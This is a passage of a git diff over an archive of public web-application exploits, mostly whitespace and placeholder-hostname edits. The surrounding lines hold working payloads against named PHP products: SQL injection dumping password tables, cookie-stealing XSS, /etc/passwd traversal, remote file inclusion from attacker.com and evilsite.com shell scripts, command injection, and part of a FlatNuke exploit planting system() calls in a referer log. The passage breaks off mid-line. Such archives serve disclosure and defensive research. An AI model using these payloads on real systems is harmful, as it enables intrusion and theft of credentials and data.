http://www.example.com/shoppingcart/catalog.php?action=category_show &id=1%20or%20like%20%60a%%60 http://www.example.com/shoppingcart/demo/catalog.php?action= -category_show&id=1%20or%201=1 \ No newline at end of file +category_show&id=1%20or%201=1 \ No newline at end of file diff --git a/platforms/php/webapps/25639.txt b/platforms/php/webapps/25639.txt index a235c4fed..649b56c9a 100755 --- a/platforms/php/webapps/25639.txt +++ b/platforms/php/webapps/25639.txt @@ -12,4 +12,4 @@ http://www.example.com/index.php?mod=stats&aff=pages&annee=[XSS INJECTION] http://www.example.com/profil.php?id=1%20[XSS INJECTION] http://www.example.com/memberlist.php?mb_lettre=%A4%20[XSS INJECTION] http://www.example.com/memberlist.php?mb1_order=id&mb1_ord=DESC&lettre=[XSS INJECTION] -http://www.example.com/index.php?&mod=recherche&choix_recherche=2&chaine_search=[XSS INJECTION]&multi_mots=tous&choix_forum=1&auteur_search=[XSS INJECTION] \ No newline at end of file +http://www.example.com/index.php?&mod=recherche&choix_recherche=2&chaine_search=[XSS INJECTION]&multi_mots=tous&choix_forum=1&auteur_search=[XSS INJECTION] \ No newline at end of file diff --git a/platforms/php/webapps/25640.txt b/platforms/php/webapps/25640.txt index cb322df59..1ef70a84b 100755 --- a/platforms/php/webapps/25640.txt +++ b/platforms/php/webapps/25640.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce The vendor has addressed this issue in PwsPHP version 1.2.3; earlier versions are reported vulnerable. -http://www.example.com/profil.php?id='[SQL Injection] \ No newline at end of file +http://www.example.com/profil.php?id='[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/25641.txt b/platforms/php/webapps/25641.txt index 9f9279b5b..ce2cab0b7 100755 --- a/platforms/php/webapps/25641.txt +++ b/platforms/php/webapps/25641.txt @@ -4,4 +4,4 @@ WowBB is prone to an SQL injection vulnerability. This issue is due to a failure Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/wowbb/view_user.php?list=1&letter=&sort_by='[SQL Injection] \ No newline at end of file +http://www.example.com/wowbb/view_user.php?list=1&letter=&sort_by='[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/25642.txt b/platforms/php/webapps/25642.txt index 2ad50f0d7..0d3c085ac 100755 --- a/platforms/php/webapps/25642.txt +++ b/platforms/php/webapps/25642.txt @@ -11,4 +11,4 @@ The following Base64-encoded string is equivalent to <script>alert()</script><h1 PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+PGgxPlhTUyBQb1dAICEhITwvaDE+ http://www.example.com/security.php?codigo= -PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+PGgxPlhTUyBQb1dAICEhITwvaDE+ \ No newline at end of file +PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+PGgxPlhTUyBQb1dAICEhITwvaDE+ \ No newline at end of file diff --git a/platforms/php/webapps/25644.txt b/platforms/php/webapps/25644.txt index 8954d79e5..f8822751d 100755 --- a/platforms/php/webapps/25644.txt +++ b/platforms/php/webapps/25644.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/13573/info e107 Website System is prone to a directory traversal vulnerability. This issue could be exploited to obtain the contents of arbitrary files on the vulnerable computer. -http://www.example.com/request.php?../../e107_config.php \ No newline at end of file +http://www.example.com/request.php?../../e107_config.php \ No newline at end of file diff --git a/platforms/php/webapps/25645.txt b/platforms/php/webapps/25645.txt index 086fee2a6..9ee7169fe 100755 --- a/platforms/php/webapps/25645.txt +++ b/platforms/php/webapps/25645.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/13576/info e107 Website System is prone to an SQL injection vulnerability. This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. -http://www.example.com/forum_viewforum.php?5.[INJECTION]# \ No newline at end of file +http://www.example.com/forum_viewforum.php?5.[INJECTION]# \ No newline at end of file diff --git a/platforms/php/webapps/25650.txt b/platforms/php/webapps/25650.txt index f17c54ba5..13080eaa5 100755 --- a/platforms/php/webapps/25650.txt +++ b/platforms/php/webapps/25650.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue is reported to affect Quick.Cart version 0.3.0; other versions may also be affected. http://www.example.com/?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E -http://www.example.com/index.php?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?p=productsList&sWord=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25653.txt b/platforms/php/webapps/25653.txt index 6eda15835..9d21eb53c 100755 --- a/platforms/php/webapps/25653.txt +++ b/platforms/php/webapps/25653.txt @@ -4,4 +4,4 @@ DirectTopics is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/topic.php?topic=669%B4SQL%20INJECTION \ No newline at end of file +http://www.example.com/topic.php?topic=669%B4SQL%20INJECTION \ No newline at end of file diff --git a/platforms/php/webapps/25654.txt b/platforms/php/webapps/25654.txt index 10ae08752..d1d0e4bc4 100755 --- a/platforms/php/webapps/25654.txt +++ b/platforms/php/webapps/25654.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th http://www.example.com/forum/viewforum.php?id=t=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3Cnote%20unescape('=%22%3E%3C%73%63%72%69%70%74%3E%61 %6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C')%20==%20'%22%3E<script ->alert(document.cookie)</script>%3C \ No newline at end of file +>alert(document.cookie)</script>%3C \ No newline at end of file diff --git a/platforms/php/webapps/25655.txt b/platforms/php/webapps/25655.txt index 34120a18f..dc96d62fa 100755 --- a/platforms/php/webapps/25655.txt +++ b/platforms/php/webapps/25655.txt @@ -5,4 +5,4 @@ Ultimate PHP Board is prone to an SQL injection vulnerability. This issue is due Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/forum/viewforum.php?id=123456&postorder=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%7 -5%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C \ No newline at end of file +5%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C \ No newline at end of file diff --git a/platforms/php/webapps/25656.txt b/platforms/php/webapps/25656.txt index f14636929..d9899cc0a 100755 --- a/platforms/php/webapps/25656.txt +++ b/platforms/php/webapps/25656.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos This issue reportedly affects OpenBB version 1.0.8; other versions may also be vulnerable. http://www.example.com/openbb/read.php?action=lastpost&TID=' -http://www.example.com/openbb/read.php?TID=' \ No newline at end of file +http://www.example.com/openbb/read.php?TID=' \ No newline at end of file diff --git a/platforms/php/webapps/25657.txt b/platforms/php/webapps/25657.txt index eed38ff2d..7ddbf61e6 100755 --- a/platforms/php/webapps/25657.txt +++ b/platforms/php/webapps/25657.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue reportedly affects OpenBB version 1.0.8; other versions may also be vulnerable. -http://www.example.com/member.php?action=list&page=2&sortorder=username&perpage=25&reverse="><script>alert('test');</script> \ No newline at end of file +http://www.example.com/member.php?action=list&page=2&sortorder=username&perpage=25&reverse="><script>alert('test');</script> \ No newline at end of file diff --git a/platforms/php/webapps/25659.txt b/platforms/php/webapps/25659.txt index 3b879da34..e7b4903b0 100755 --- a/platforms/php/webapps/25659.txt +++ b/platforms/php/webapps/25659.txt @@ -4,4 +4,4 @@ phpMyChat is prone to a cross-site scripting vulnerability because it fails to p An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/chat/config/start-page.css.php3?Charset=iso-8859-1&medium=10&FontName=&lt;script&gt;var%20test=1;alert(test);&lt;/script&gt; \ No newline at end of file +http://www.example.com/chat/config/start-page.css.php3?Charset=iso-8859-1&medium=10&FontName=&lt;script&gt;var%20test=1;alert(test);&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/25660.txt b/platforms/php/webapps/25660.txt index 9c11286a8..8a265c477 100755 --- a/platforms/php/webapps/25660.txt +++ b/platforms/php/webapps/25660.txt @@ -4,4 +4,4 @@ phpMyChat is prone to a cross-site scripting vulnerability because it fails to p An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/chat/config/style.css.php3?Charset=iso-8859-1&medium=10&FontName=&lt;script&gt;var%20test=1;alert(test);&lt;/script&gt; \ No newline at end of file +http://www.example.com/chat/config/style.css.php3?Charset=iso-8859-1&medium=10&FontName=&lt;script&gt;var%20test=1;alert(test);&lt;/script&gt; \ No newline at end of file diff --git a/platforms/php/webapps/25662.txt b/platforms/php/webapps/25662.txt index ef8ab441d..91f5c1298 100755 --- a/platforms/php/webapps/25662.txt +++ b/platforms/php/webapps/25662.txt @@ -12,4 +12,4 @@ Skull-Splitter Guestbook versions 1.0, 2.0, and 2.2 have been reported to be vul Type in the title or content of msg -2. <iframe src=http://evilhost/evil.php> \ No newline at end of file +2. <iframe src=http://evilhost/evil.php> \ No newline at end of file diff --git a/platforms/php/webapps/25663.txt b/platforms/php/webapps/25663.txt index 65f4dce9b..2742a6d5b 100755 --- a/platforms/php/webapps/25663.txt +++ b/platforms/php/webapps/25663.txt @@ -4,4 +4,4 @@ Shop-Script is prone to an SQL injection vulnerability. This issue is due to a f Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/index.php?categoryID='[SQL inj] \ No newline at end of file +http://www.example.com/index.php?categoryID='[SQL inj] \ No newline at end of file diff --git a/platforms/php/webapps/25664.txt b/platforms/php/webapps/25664.txt index a098febfc..595b81d04 100755 --- a/platforms/php/webapps/25664.txt +++ b/platforms/php/webapps/25664.txt @@ -5,4 +5,4 @@ Shop-Script is prone to an SQL injection vulnerability. This issue is due to a f Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/index.php?mark=5&productID='[SQL inj] -http://www.example.com/index.php?productID='[SQL inj] \ No newline at end of file +http://www.example.com/index.php?productID='[SQL inj] \ No newline at end of file diff --git a/platforms/php/webapps/25665.txt b/platforms/php/webapps/25665.txt index 47a3a5976..1e5a1d14d 100755 --- a/platforms/php/webapps/25665.txt +++ b/platforms/php/webapps/25665.txt @@ -6,4 +6,4 @@ The problem presents itself when an attacker passes a name for a target file, al An attacker may leverage this issue to disclose arbitrary files on an affected computer. It was also reported that an attacker can supply NULL bytes with a target file name. This may aid in other attacks such as crashing the server. -http://www.example.com/index.php?module=Blocks&type=lang&func=../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?module=Blocks&type=lang&func=../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/25672.txt b/platforms/php/webapps/25672.txt index 992474305..c768d60f5 100755 --- a/platforms/php/webapps/25672.txt +++ b/platforms/php/webapps/25672.txt @@ -10,4 +10,4 @@ All versions are considered to be vulnerable at the moment. http://www.example.com/npds/pollcomments.php?thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,aid,pwd,0,0%20FROM %20authors -http://www.example.com/npds/pollcomments.php?op=results&pollID=2&mode=&order=&thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,uname,pass,0,0%20FROM%20u \ No newline at end of file +http://www.example.com/npds/pollcomments.php?op=results&pollID=2&mode=&order=&thold=0%20UNION%20SELECT%200,0,0,0,0,0,0,0,uname,pass,0,0%20FROM%20u \ No newline at end of file diff --git a/platforms/php/webapps/25679.txt b/platforms/php/webapps/25679.txt index 90da2ad42..68fe19fc8 100755 --- a/platforms/php/webapps/25679.txt +++ b/platforms/php/webapps/25679.txt @@ -6,4 +6,4 @@ Successful exploitation of the SQL injection issues could result in a compromise An attacker may leverage the cross-site scripting issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/jgs_portal_sponsor.php?id=[SQL-Injection] \ No newline at end of file +http://www.example.com/jgs_portal_sponsor.php?id=[SQL-Injection] \ No newline at end of file diff --git a/platforms/php/webapps/2568.txt b/platforms/php/webapps/2568.txt index b2a7999d8..c98595c67 100755 --- a/platforms/php/webapps/2568.txt +++ b/platforms/php/webapps/2568.txt @@ -1,4 +1,4 @@ -# WebSPELL <= 4.01.01 (getsquad) Remote SQL Injection Exploit + # WebSPELL <= 4.01.01 (getsquad) Remote SQL Injection Exploit # by: Kiba #EXPLOIT: diff --git a/platforms/php/webapps/25681.php b/platforms/php/webapps/25681.php index 5e19b5e52..ba6705868 100755 --- a/platforms/php/webapps/25681.php +++ b/platforms/php/webapps/25681.php @@ -51,8 +51,8 @@ Greentz to Ch0k37 from gh0sts, which wants to purchase this exploit but he was t *** Public: 17.05.2005 *** "; -# CONFIG (example: http://www.server/news/) -$host = "www.server"; # address - example: www.server +# CONFIG (example: http://www.site.com/news/) +$host = "www.site.com"; # address - example: www.site.com $folder = "folder/to/fusion"; # folder - example: news # END OF CONFIG diff --git a/platforms/php/webapps/25682.txt b/platforms/php/webapps/25682.txt index 6a2c9e8bb..9a284ae32 100755 --- a/platforms/php/webapps/25682.txt +++ b/platforms/php/webapps/25682.txt @@ -4,4 +4,4 @@ Wordpress is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/wp-admin/post.php?action=confirmdeletecomment&comment=1&p=[XSS] \ No newline at end of file +http://www.example.com/wp-admin/post.php?action=confirmdeletecomment&comment=1&p=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/25683.txt b/platforms/php/webapps/25683.txt index 332c646f8..aa83e86a4 100755 --- a/platforms/php/webapps/25683.txt +++ b/platforms/php/webapps/25683.txt @@ -21,4 +21,4 @@ http://www.example.com/support/lh/icon.php?status=-99' UNION SELECT password,password FROM hcl_operators WHERE id=1/* http://www.example.com/support/lh/chat_download.php?fid=-99' UNION -SELECT password,operator,password FROM hcl_operators WHERE id=1/* \ No newline at end of file +SELECT password,operator,password FROM hcl_operators WHERE id=1/* \ No newline at end of file diff --git a/platforms/php/webapps/25686.txt b/platforms/php/webapps/25686.txt index 889804029..8707fa52e 100755 --- a/platforms/php/webapps/25686.txt +++ b/platforms/php/webapps/25686.txt @@ -4,4 +4,4 @@ PHP Advanced Transfer Manager is prone to an arbitrary file include vulnerabilit An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/index.php?include_location=http://www.example.com/ \ No newline at end of file +http://www.example.com/index.php?include_location=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25689.txt b/platforms/php/webapps/25689.txt index ffc1c70a6..ed9e057c4 100755 --- a/platforms/php/webapps/25689.txt +++ b/platforms/php/webapps/25689.txt @@ -10,4 +10,4 @@ http://www.example.com/topo/index.php?m=top&s=info"><script>alert()</script>&ID= http://www.example.com/topo/index.php?m=top"><script>alert()</script>&s=info&ID=1115946293.3552&t=puntuar http://www.example.com/topo/index.php?m=top&s=info&t=comments&ID=1114815037.2498"><SCRIPT>alert()</script> http://www.example.com/topo/index.php?m=top&s=info&t=comments&paso=1&ID=1111068112.7598"><SCRIPT>alert()</script> -http://www.example.com/topo/index.php?m=members&s=html&t=edit"><SCRIPT>alert()</script> \ No newline at end of file +http://www.example.com/topo/index.php?m=members&s=html&t=edit"><SCRIPT>alert()</script> \ No newline at end of file diff --git a/platforms/php/webapps/25693.txt b/platforms/php/webapps/25693.txt index 71c6903d7..a084029dc 100755 --- a/platforms/php/webapps/25693.txt +++ b/platforms/php/webapps/25693.txt @@ -8,4 +8,4 @@ An attacker can supply arbitrary shell commands through the affected parameter t GForge versions prior to 4.0 are vulnerable to this issue. -GET /scm/viewFile.php?group_id=11&file_name=%0Auname%20-a;id;w%0a \ No newline at end of file +GET /scm/viewFile.php?group_id=11&file_name=%0Auname%20-a;id;w%0a \ No newline at end of file diff --git a/platforms/php/webapps/2570.txt b/platforms/php/webapps/2570.txt index 16f94a13b..a0b00af22 100755 --- a/platforms/php/webapps/2570.txt +++ b/platforms/php/webapps/2570.txt @@ -49,10 +49,10 @@ And many others files... Exploit : -http://server/[OpenDockFullCore_Path]/sw/index_sw.php?doc_directory=http://attacker.com/inject.txt ? -http://server/[OpenDockFullCore_Path]/sw/lib_cart/cart.php?doc_directory=http://attacker.com/inject.txt ? -http://server/[OpenDockFullCore_Path]/sw/lib_cart/lib_cart.php?doc_directory=http://attacker.com/inject.txt ? -http://server/[OpenDockFullCore_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt ? +http://target.com/[OpenDockFullCore_Path]/sw/index_sw.php?doc_directory=http://attacker.com/inject.txt ? +http://target.com/[OpenDockFullCore_Path]/sw/lib_cart/cart.php?doc_directory=http://attacker.com/inject.txt ? +http://target.com/[OpenDockFullCore_Path]/sw/lib_cart/lib_cart.php?doc_directory=http://attacker.com/inject.txt ? +http://target.com/[OpenDockFullCore_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt ? --------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/25704.txt b/platforms/php/webapps/25704.txt index 34402844e..8b241472f 100755 --- a/platforms/php/webapps/25704.txt +++ b/platforms/php/webapps/25704.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary server-side script code UPDATE: Further information shows that this issue does not affect version 1.04. -http://www.example.com/poll_vote.php?relativer_pfad=http://www.example.com/ \ No newline at end of file +http://www.example.com/poll_vote.php?relativer_pfad=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/2572.txt b/platforms/php/webapps/2572.txt index 32c1995c4..fd33c6393 100755 --- a/platforms/php/webapps/2572.txt +++ b/platforms/php/webapps/2572.txt @@ -22,7 +22,7 @@ Exploit: Variable $lib_dir not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/web/lib/xml/oai/GetRecord.php?lib_dir=[Evil_Script] +# http://www.site.com/[path]/web/lib/xml/oai/GetRecord.php?lib_dir=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25726.txt b/platforms/php/webapps/25726.txt index 1d315aa3a..dcdb30869 100755 --- a/platforms/php/webapps/25726.txt +++ b/platforms/php/webapps/25726.txt @@ -26,3 +26,4 @@ $query = "SELECT * FROM `playlist` WHERE $playlist_id;"; http://server/radio/meneger.php?fold=/var/www/music&search=1%27&playlist_id=&playlist_id=-1+union+select+1,version%28%29,3,4,5,6,7,8,9,10,11,12 ################################################ + \ No newline at end of file diff --git a/platforms/php/webapps/25735.txt b/platforms/php/webapps/25735.txt index 58302d709..afd5f4963 100755 --- a/platforms/php/webapps/25735.txt +++ b/platforms/php/webapps/25735.txt @@ -4,4 +4,4 @@ BookReview is prone to multiple cross-site scripting vulnerabilities. These issu An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/suggest_review.htm?node=Business_and_Economics"><SCRIPT>alert()</SCRIPT> \ No newline at end of file +http://www.example.com/suggest_review.htm?node=Business_and_Economics"><SCRIPT>alert()</SCRIPT> \ No newline at end of file diff --git a/platforms/php/webapps/25740.txt b/platforms/php/webapps/25740.txt index 29407196a..600270d3d 100755 --- a/platforms/php/webapps/25740.txt +++ b/platforms/php/webapps/25740.txt @@ -9,4 +9,4 @@ This may facilitate the theft of cookie-based authentication credentials as well JAWS versions 0.4 and 0.5 and subsequent are reportedly vulnerable. http://www.example.com/index.php?gadget=Glossary&action=ViewTerm&term=<script -src=some script</script> \ No newline at end of file +src=some script</script> \ No newline at end of file diff --git a/platforms/php/webapps/25749.txt b/platforms/php/webapps/25749.txt index 3c14e0366..8c04cb199 100755 --- a/platforms/php/webapps/25749.txt +++ b/platforms/php/webapps/25749.txt @@ -7,4 +7,4 @@ This may result in the theft of authentication credentials, destruction or discl All versions of NPDS are considered vulnerable to this issue at the moment. http://www.example.com/links.php?op=search&query=google%'%20UNION%20SELECT%200,uname,pass,0,0,0,0,0%20FROM%20users%20where%20uname<>''%20INTO%20OUTFILE%20'/var/www/html/npds/sql/s -qlinjection.txt'/* \ No newline at end of file +qlinjection.txt'/* \ No newline at end of file diff --git a/platforms/php/webapps/25756.txt b/platforms/php/webapps/25756.txt index c01ee0547..73fbd9507 100755 --- a/platforms/php/webapps/25756.txt +++ b/platforms/php/webapps/25756.txt @@ -7,4 +7,4 @@ This vulnerability could permit remote attackers to pass malicious input to data All versions are considered to be vulnerable at the moment. Uername =admin -Password=" or 0=0 # \ No newline at end of file +Password=" or 0=0 # \ No newline at end of file diff --git a/platforms/php/webapps/2576.txt b/platforms/php/webapps/2576.txt index 8e37ef716..1988c299c 100755 --- a/platforms/php/webapps/2576.txt +++ b/platforms/php/webapps/2576.txt @@ -21,7 +21,7 @@ Exploit: Variable $dir not sanitized.When register_globals=on an attacker ca n exploit this vulnerability with a simple php injection script. -# http://www.server/[path]/client.php?dir=[Evil_Script] +# http://www.site.com/[path]/client.php?dir=[Evil_Script] --------------------------------------------------------------------------- Shoutz: diff --git a/platforms/php/webapps/25766.txt b/platforms/php/webapps/25766.txt index f5a33d833..eb6fedd63 100755 --- a/platforms/php/webapps/25766.txt +++ b/platforms/php/webapps/25766.txt @@ -7,4 +7,4 @@ These vulnerabilities could permit remote attackers to pass malicious input to d X-Cart 4.0.8 is reportedly vulnerable. Other versions may be affected as well. http://www.example.com/giftcert.php?gcid='><script>alert(document.cookie)</script> -http://www.example.com/giftcert.php?gcindex='><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/giftcert.php?gcindex='><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/25777.txt b/platforms/php/webapps/25777.txt index 3d72153d0..9edd003a2 100755 --- a/platforms/php/webapps/25777.txt +++ b/platforms/php/webapps/25777.txt @@ -4,4 +4,4 @@ PowerDownload is prone to a remote file include vulnerability. This issue is due An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/download/downloads.php?release_id=650&incdir=http://www.example.com/ \ No newline at end of file +http://www.example.com/download/downloads.php?release_id=650&incdir=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25778.txt b/platforms/php/webapps/25778.txt index f7721b1f3..1e0ddf0ef 100755 --- a/platforms/php/webapps/25778.txt +++ b/platforms/php/webapps/25778.txt @@ -8,4 +8,4 @@ http://www.example.com/cal_day.php?op=day&date=2005-05-03&catview=1[sql]/* http://www.example.com/cal_pophols.php?id=999'[sql]/* http://www.example.com/calendar.php?op=cal&month=5&year=2'%3Ch1%3DarkBicho005&catview=1 http://www.example.com/cal_week.php?op=week&catview= 999'[sql]/* -http://www.example.com/cal_cat.php?op=cats&catview=999'[sql]*/ \ No newline at end of file +http://www.example.com/cal_cat.php?op=cats&catview=999'[sql]*/ \ No newline at end of file diff --git a/platforms/php/webapps/2578.txt b/platforms/php/webapps/2578.txt index 9add27ed6..c854aad42 100755 --- a/platforms/php/webapps/2578.txt +++ b/platforms/php/webapps/2578.txt @@ -17,8 +17,8 @@ + template.php, line(s) 115: include($formPage); + + Proof Of Concept: -+ http://[target]/[path]/template.php?actionsPage=http://evilserver/shell.php? -+ http://[target]/[path]/template.php?formPage=http://evilserver/shell.php? ++ http://[target]/[path]/template.php?actionsPage=http://evilsite.com/shell.php? ++ http://[target]/[path]/template.php?formPage=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-10-16] diff --git a/platforms/php/webapps/25786.txt b/platforms/php/webapps/25786.txt index 61d86d5e2..d32b9260c 100755 --- a/platforms/php/webapps/25786.txt +++ b/platforms/php/webapps/25786.txt @@ -4,4 +4,4 @@ MWChat is affected by a remote file include vulnerability. This issue is due to An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=http://www.example.com/ \ No newline at end of file +http://www.example.com/mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25787.txt b/platforms/php/webapps/25787.txt index 2ca96db44..5fc4e315c 100755 --- a/platforms/php/webapps/25787.txt +++ b/platforms/php/webapps/25787.txt @@ -5,4 +5,4 @@ LiteWeb Server is prone to a vulnerability that may let remote attackers bypass The specific issue is inadequate sanitization of user-supplied requests. In particular, there is an error in the handling of slash characters '/\' that will allow remote users to access protected files. http://www.example.com/\admin\/login.html -http://www.example.com//admin//login.html \ No newline at end of file +http://www.example.com//admin//login.html \ No newline at end of file diff --git a/platforms/php/webapps/25788.txt b/platforms/php/webapps/25788.txt index 0b0f62f55..50d7dd558 100755 --- a/platforms/php/webapps/25788.txt +++ b/platforms/php/webapps/25788.txt @@ -4,4 +4,4 @@ Popper is affected by a remote file include vulnerability. This issue is due to An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/popper/childwindow.inc.php?form=http://www.example.com/test \ No newline at end of file +http://www.example.com/popper/childwindow.inc.php?form=http://www.example.com/test \ No newline at end of file diff --git a/platforms/php/webapps/25792.txt b/platforms/php/webapps/25792.txt index c05f5a4a9..c0affdbdc 100755 --- a/platforms/php/webapps/25792.txt +++ b/platforms/php/webapps/25792.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary server-side script co This issue is reported to affect YaPiG versions 0.92b, 0.93u and 0.94u; earlier versions may also be affected. Version 0.92b: http://www.example.com/global.php?BASE_DIR=/local/path/to/global-gen.php -Version 0.93u/ 0.94u: http://www.example.com/last_gallery.php?YAPIG_PATH=http://www.example.com/ \ No newline at end of file +Version 0.93u/ 0.94u: http://www.example.com/last_gallery.php?YAPIG_PATH=http://www.example.com/ \ No newline at end of file diff --git a/platforms/php/webapps/25793.txt b/platforms/php/webapps/25793.txt index d0dda4620..8f2e49e41 100755 --- a/platforms/php/webapps/25793.txt +++ b/platforms/php/webapps/25793.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th This issue is reported to affect YaPiG versions 0.92b, 0.93u and 0.94u; earlier versions may also be affected. -http://www.example.com/view.php?gid=1&phid=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/view.php?gid=1&phid=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/25794.txt b/platforms/php/webapps/25794.txt index 67ce85936..c59f5acd0 100755 --- a/platforms/php/webapps/25794.txt +++ b/platforms/php/webapps/25794.txt @@ -10,4 +10,4 @@ Arbitrary Directory Removal: http://www.example.com/upload.php?step=rmdir&dir=../folder Arbitrary Directory Creation: -http://www.example.com/upload.php?step=mkdir&dir=../folder \ No newline at end of file +http://www.example.com/upload.php?step=mkdir&dir=../folder \ No newline at end of file diff --git a/platforms/php/webapps/25801.php b/platforms/php/webapps/25801.php index 3a77bf7f1..91754daaa 100755 --- a/platforms/php/webapps/25801.php +++ b/platforms/php/webapps/25801.php @@ -127,7 +127,7 @@ if (empty($_SESSION['history'])) { <table> <tr> <td>Host+Path:</td> - <td><input type="text" name="URL" size="35" value="<? echo $_POST['URL'] ?>" /> (e.g http://server/path/to/flatnuke/ - note only path to flatnuke root directory)<br /></td> + <td><input type="text" name="URL" size="35" value="<? echo $_POST['URL'] ?>" /> (e.g http://site.com/path/to/flatnuke/ - note only path to flatnuke root directory)<br /></td> <tr> <tr> <td>Directory:</td> @@ -146,7 +146,7 @@ $quer = ($urlbits['query'] != "") ? "?".$urlbits['query'] : ""; $cmd = ($_POST['CMD'] != "") ? addslashes("cd {$_SESSION['cwd']} && ".$_POST['CMD']) : ""; $reflog = $path."misc/flatstat/referer.php"; $int = $_SESSION['cmdcnt']++; -$referer = "http://noneexistantserver/?s{$_SESSION['rand']}$int=<?php system(\"$cmd\")?>&e{$_SESSION['rand']}$int"; +$referer = "http://noneexistantsite.com/?s{$_SESSION['rand']}$int=<?php system(\"$cmd\")?>&e{$_SESSION['rand']}$int"; /* ensure all required vars are present */ if (isset($_POST['URL']) && $host != "" && $cmd != "") { @@ -167,7 +167,7 @@ if (isset($_POST['URL']) && $host != "" && $cmd != "") { if ($result = file_get_contents("http://$host:$port$reflog")) { /* strip other irrelevant referer information */ - $trim = str_replace("http://noneexistantserver/?s{$_SESSION['rand']}$int=", "", stristr($result, "http://noneexistantserver/?s{$_SESSION['rand']}$int=")); + $trim = str_replace("http://noneexistantsite.com/?s{$_SESSION['rand']}$int=", "", stristr($result, "http://noneexistantsite.com/?s{$_SESSION['rand']}$int=")); $trim = str_replace(stristr($trim, 